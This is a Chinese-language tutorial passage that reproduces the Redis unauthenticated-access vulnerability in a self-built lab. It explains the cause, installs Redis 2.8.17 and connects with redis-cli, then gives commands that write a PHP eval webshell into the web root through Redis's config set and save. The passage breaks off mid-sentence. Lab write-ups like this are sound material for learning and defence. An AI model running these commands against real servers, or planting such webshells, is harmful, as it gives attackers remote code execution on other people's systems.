Redis未授权访问漏洞复现
一、Redis未授权漏洞成因
1.1 Redis基本简介
Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表(lists), 集合(sets), 有序集合(sorted sets) 与范围查询, bitmaps, hyperloglogs 和 地理空间(geospatial) 索引半径查询。 Redis 内置了 复制(replication),LUA脚本(Lua scripting), LRU驱动事件(LRU eviction),事务(transactions) 和不同级别的 磁盘持久化(persistence), 并通过 Redis哨兵(Sentinel)和自动 分区(Cluster)提供高可用性(high availability)。
1.2 Redis未授权漏洞
默认情况下Redis是绑定在0.0.0.0:6379上的,且默认是没有密码的,如果憨憨运维没有在上线服务的时候限制访问端口与配置密码则会使我们从外网直接连接redis服务器进行操作。
1.3 漏洞危害
- 攻击者连接服务器操作服务器数据,或者直接flushall清空数据,emmmmm…三年起步。
- 在受害端留下后门
- 通过ssh密钥直接登录受害者系统
二、环境搭建
2.1 安装redis环境
- 执行以下命令下载源码包
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
- 解压源码包
tar -zxvf redis-2.8.17.tar.gz
- 进入源码包路径
cd ./redis-2.8.17
- 创建makefile
make
- 进入src目录
cd src
- 复制客户端与服务端文件到环境变量目录
cp redis-server /usr/bin
cp redis-cli /uer/bin
- 进入上一级目录
cd ..
- 复制配置文件到/etc
cp redis.conf /etc/
2.2 启动redis
redis-server /etc/redis.conf
使用/etc/redis.conf启动redis服务器
出现上图则表示启动成功
2.3 漏洞成立条件
- redis绑定在0.0.0.0:6379上
- redis未设置密码
- 防火墙没有严格过滤到达redis的流量
三、复现
3.1 连接redis
条件有限,我使用我的centos在同一台机器上做演示,我当前机器的ip为192.168.248.176
redis-cli -h 192.168.248.176 -p 6379
参数 | 含义 |
---|---|
-h | 指定要登录的主机地址 |
-p | 指定redis服务端口,redis服务的端口默认绑定6379,但可以在redis.conf通过port选项更改 |
可以看到我们成功得进入到了redis服务器,这里由于我是在一台机器上演示所以使用了环回地址,同时我的redis是开了密码验证的,所以使用了auth password
来配置密码,这不影响我们的试验,原理都是一样的。
3.1 webshell
在redis客户端输入
127.0.0.1:6379> config set dir /var/www/html/ #设置webshell的存储目录
127.0.0.1:6379> config set dbfilename system.php # 设置webshell的文件名
127.0.0.1:6379> set shell "\r\n\r\n<?php @eval($_POST[cmd]);?>\r\n\r\n" #将一句话木马写入system.php中
127.0.0.1:6379> save #保存
从上面的命令中我们可以看出要想成功写shell我们的redis登录用户需要拥有对网站目录的写权限。
我们去到网站根目录查看是否